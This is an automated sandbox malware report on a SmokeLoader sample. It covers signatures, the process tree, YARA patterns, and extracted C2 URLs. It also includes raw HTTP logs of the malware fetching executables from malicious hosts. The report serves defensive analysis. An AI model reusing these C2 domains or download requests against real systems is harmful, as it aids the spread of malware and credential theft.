Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	693830
MD5:	001aaf70fd33e2a1386c65ae04a8d602
SHA1:	f3126f1c05fec0a927aa07bfc7cca5ef2877df16
SHA256:	abfb74db08d5d4790fb03d850342913d8a18bb00b6099ad8376648cc3321e501
Tags:	exeSmokeLoader
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

May check the online IP address of the machine

Deletes itself after installation

Tries to detect virtualization through RDTSC time measurements

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Detected VMProtect packer

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Registers a DLL

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Connects to several IPs in different countries

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

file.exe (PID: 5296 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 001AAF70FD33E2A1386C65AE04A8D602)

explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

D3F7.exe (PID: 4472 cmdline: C:\Users\user\AppData\Local\Temp\D3F7.exe MD5: 2FA5D266A3D92286FA470A39ACEC5B0E)

AppLaunch.exe (PID: 3228 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

WerFault.exe (PID: 5680 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4472 -s 280 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

151.exe (PID: 3084 cmdline: C:\Users\user\AppData\Local\Temp\151.exe MD5: B913B72892BFD294A808D7E685DC3A19)

AppLaunch.exe (PID: 4996 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

WerFault.exe (PID: 4224 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 244 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

regsvr32.exe (PID: 5468 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\96E9.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 4984 cmdline: /s C:\Users\user\AppData\Local\Temp\96E9.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

A784.exe (PID: 4916 cmdline: C:\Users\user\AppData\Local\Temp\A784.exe MD5: F236C35612EA884351F1D4A8694D8AA1)

WerFault.exe (PID: 2576 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4916 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

39AF.exe (PID: 1076 cmdline: C:\Users\user\AppData\Local\Temp\39AF.exe MD5: AE9E2CE4CF9B092A5BBFD1D5A609166E)

conhost.exe (PID: 2888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

39AF.exe (PID: 2792 cmdline: "C:\Users\user\AppData\Local\Temp\39AF.exe" -h MD5: AE9E2CE4CF9B092A5BBFD1D5A609166E)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

4962.exe (PID: 1668 cmdline: C:\Users\user\AppData\Local\Temp\4962.exe MD5: 2679869D7C3C730553BDB94848DDEEA5)

bwgdrja (PID: 1652 cmdline: C:\Users\user\AppData\Roaming\bwgdrja MD5: 001AAF70FD33E2A1386C65AE04A8D602)

cegdrja (PID: 2764 cmdline: C:\Users\user\AppData\Roaming\cegdrja MD5: 6807F903AC06FF7E1670181378690B22)

cleanup

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://ilabbjjpbdzij.xyz/", "http://ilabtobpwsvme.me/", "http://ilabxctzzcbtw.top/", "http://ilaboqbdeqwem.xyz/", "http://ilabonjsnmwiy.top/", "http://ilabqemgfxxgi.info/", "http://ilabvankjnwka.online/", "http://ilabjmhrrygwf.top/", "http://ilablyqfvvqjs.site/", "http://ilabduzejekrk.online/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001D.00000002.507299454.0000000000900000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000010.00000002.397859879.0000000000BD8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5249:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001D.00000003.480872467.0000000000910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.482460524.0000000006881000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001D.00000000.483664720.00000000009B9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x49bc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001D.00000000.486808594.00000000009B9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x49bc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001D.00000000.486576660.0000000000900000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000010.00000002.397461829.00000000009B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x814:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001D.00000000.483255064.0000000000900000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x814:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001D.00000002.507938605.00000000009B9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x49bc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.349098806.0000000000A89000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4cf9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author
29.0.A784.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.0.A784.exe.900e67.7.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.0.A784.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.0.A784.exe.900e67.5.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.A784.exe.900e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.A784.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.3.A784.exe.910000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 2 entries

Snort Signatures

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.3 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.345.136.151.10249771802851115 08/31/22-08:34:45.213696
SID:	2851115
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.849874532023883 08/31/22-08:34:44.128637
SID:	2023883
Source Port:	49874
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://v.xyzgamev.com/31.html	Avira URL Cloud: Label: malware
Source: http://www.hhiuew33.com/	URL Reputation: Label: malware
Source: http://linislominyt11.at/	URL Reputation: Label: malware
Source: http://stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe	Avira URL Cloud: Label: malware
Source: http://www.hhiuew33.com/check/safe	Avira URL Cloud: Label: malware
Source: https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe	Avira URL Cloud: Label: malware
Source: https://i.xyzgamei.com/gamexyz/31/random.exe	Avira URL Cloud: Label: malware
Source: https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\4962.exe

Avira: detection malicious, Label: HEUR/AGEN.1249525

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 35%

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\151.exe	Metadefender: Detection: 38%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\151.exe	ReversingLabs: Detection: 57%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\bwgdrja	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\96E9.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4962.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A784.exe	Joe Sandbox ML: detected

Source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://ilabbjjpbdzij.xyz/", "http://ilabtobpwsvme.me/", "http://ilabxctzzcbtw.top/", "http://ilaboqbdeqwem.xyz/", "http://ilabonjsnmwiy.top/", "http://ilabqemgfxxgi.info/", "http://ilabvankjnwka.online/", "http://ilabjmhrrygwf.top/", "http://ilablyqfvvqjs.site/", "http://ilabduzejekrk.online/"]}

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.3:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.137.109:443 -> 192.168.2.3:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.3:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.3:49769 version: TLS 1.2

Source:	Binary string: \Downloads\NewPublish\cykb33yxolu7\main.pdb! source: 151.exe, 00000015.00000000.467765244.0000000000D53000.00000002.00000001.01000000.0000000B.sdmp, 151.exe.3.dr
Source:	Binary string: #]C:\cubo\nevohudidejeb\xadini.pdb source: A784.exe, 0000001D.00000000.469969664.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, A784.exe.3.dr
Source:	Binary string: C:\cubo\nevohudidejeb\xadini.pdb source: A784.exe, 0000001D.00000000.469969664.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, A784.exe.3.dr
Source:	Binary string: C:\fiyo76 h.pdb source: file.exe, bwgdrja.3.dr
Source:	Binary string: applaunch.pdb source: cegdrja, 0000002A.00000000.520613354.0000000000D01000.00000020.00000001.01000000.00000011.sdmp, cegdrja.3.dr
Source:	Binary string: \Downloads\NewPublish\eykiqkb\main.pdb source: D3F7.exe, 00000011.00000000.418320774.00000000009E3000.00000002.00000001.01000000.0000000A.sdmp, D3F7.exe.3.dr
Source:	Binary string: \Downloads\NewPublish\cykb33yxolu7\main.pdb source: 151.exe, 00000015.00000000.467765244.0000000000D53000.00000002.00000001.01000000.0000000B.sdmp, 151.exe.3.dr
Source:	Binary string: \Downloads\NewPublish\eykiqkb\main.pdb! source: D3F7.exe, 00000011.00000000.418320774.00000000009E3000.00000002.00000001.01000000.0000000A.sdmp, D3F7.exe.3.dr

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: cucumbetuturel4.com
Source: C:\Windows\explorer.exe	Domain query: amrhomedecor.com
Source: C:\Windows\explorer.exe	Domain query: susuerulianita1.net
Source: C:\Windows\explorer.exe	Domain query: ilaboqbdeqwem.xyz
Source: C:\Windows\explorer.exe	Domain query: linislominyt11.at
Source: C:\Windows\explorer.exe	Domain query: i.xyzgamei.com
Source: C:\Windows\explorer.exe	Domain query: ilabonjsnmwiy.top
Source: C:\Windows\explorer.exe	Domain query: stylesheet.faseaegasdfase.com
Source: C:\Windows\explorer.exe	Domain query: moroitomo4.net
Source: C:\Windows\explorer.exe	Domain query: monsutiur4.com
Source: C:\Windows\explorer.exe	Domain query: beijaflor.nu
Source: C:\Windows\explorer.exe	Domain query: nusurionuy5ff.at
Source: C:\Windows\explorer.exe	Domain query: b.game2723.com
Source: C:\Windows\explorer.exe	Domain query: nunuslushau.com
Source: C:\Windows\explorer.exe	Domain query: www.amrhomedecor.com

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.3:49874 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.3:49771 -> 45.136.151.102:80

Performs DNS queries to domains with low reputation

Source: C:\Windows\explorer.exe

DNS query: ilaboqbdeqwem.xyz

May check the online IP address of the machine

Source: C:\Users\user\AppData\Local\Temp\4962.exe

DNS query: name: ip-api.com

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://ilabbjjpbdzij.xyz/
Source: Malware configuration extractor	URLs: http://ilabtobpwsvme.me/
Source: Malware configuration extractor	URLs: http://ilabxctzzcbtw.top/
Source: Malware configuration extractor	URLs: http://ilaboqbdeqwem.xyz/
Source: Malware configuration extractor	URLs: http://ilabonjsnmwiy.top/
Source: Malware configuration extractor	URLs: http://ilabqemgfxxgi.info/
Source: Malware configuration extractor	URLs: http://ilabvankjnwka.online/
Source: Malware configuration extractor	URLs: http://ilabjmhrrygwf.top/
Source: Malware configuration extractor	URLs: http://ilablyqfvvqjs.site/
Source: Malware configuration extractor	URLs: http://ilabduzejekrk.online/

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 31 Aug 2022 06:33:54 GMTServer: Apache/2.2.22 (Ubuntu)Last-Modified: Wed, 31 Aug 2022 00:01:15 GMTETag: "20783-edb60-5e77e320e4c6f"Accept-Ranges: bytesContent-Length: 973664Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b2 3d 8b a3 f6 5c e5 f0 f6 5c e5 f0 f6 5c e5 f0 e2 37 e6 f1 e6 5c e5 f0 e2 37 e0 f1 5a 5c e5 f0 e2 37 e1 f1 ee 5c e5 f0 96 26 e1 f1 e7 5c e5 f0 96 26 e6 f1 e3 5c e5 f0 e2 37 e4 f1 f3 5c e5 f0 f6 5c e4 f0 a9 5c e5 f0 96 26 e0 f1 bd 5c e5 f0 92 26 e0 f1 f7 5c e5 f0 92 26 1a f0 f7 5c e5 f0 92 26 e7 f1 f7 5c e5 f0 52 69 63 68 f6 5c e5 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 a4 0e 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 20 00 08 0b 00 00 94 03 00 00 00 00 00 4a 2f 00 00 00 10 00 00 00 20 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0e 00 00 04 00 00 1c e3 0e 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 42 0e 00 3c 00 00 00 00 60 0e 00 8d 05 00 00 00 00 00 00 00 00 00 00 00 86 0e 00 60 55 00 00 00 70 0e 00 f4 62 00 00 70 c9 0c 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 c8 0c 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b9 07 0b 00 00 10 00 00 00 08 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8c 33 02 00 00 20 0b 00 00 34 02 00 00 0c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 d7 00 00 00 60 0d 00 00 be 00 00 00 40 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 2d 0d 00 00 00 40 0e 00 00 0e 00 00 00 fe 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 50 0e 00 00 02 00 00 00 0c 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 8d 05 00 00 00 60 0e 00 00 06 00 00 00 0e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 70 00 00 00 70 0e 00 00 72 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:29 GMTContent-Type: application/octet-streamContent-Length: 3923456Last-Modified: Wed, 31 Aug 2022 02:16:22 GMTConnection: keep-aliveETag: "630ec476-3bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 60 c4 0e 63 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 1d 00 b6 0d 00 00 98 04 00 00 00 00 00 ae 2b 4d 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 69 00 00 04 00 00 00 00 00 00 02 00 20 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 9e 4f 00 a0 00 00 00 00 50 69 00 d5 01 00 00 c0 be 68 00 20 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3d 53 00 30 00 00 00 80 bd 68 00 38 01 00 00 00 00 00 00 00 00 00 00 00 70 37 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 b4 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f4 55 03 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 96 00 00 00 30 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 d0 83 00 00 00 d0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 60 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 76 6d 70 30 00 00 00 23 f6 1a 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 e0 d6 3b 00 00 70 2d 00 00 d8 3b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d5 01 00 00 00 50 69 00 00 02 00 00 00 dc 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: www.amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: i.xyzgamei.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: b.game2723.com
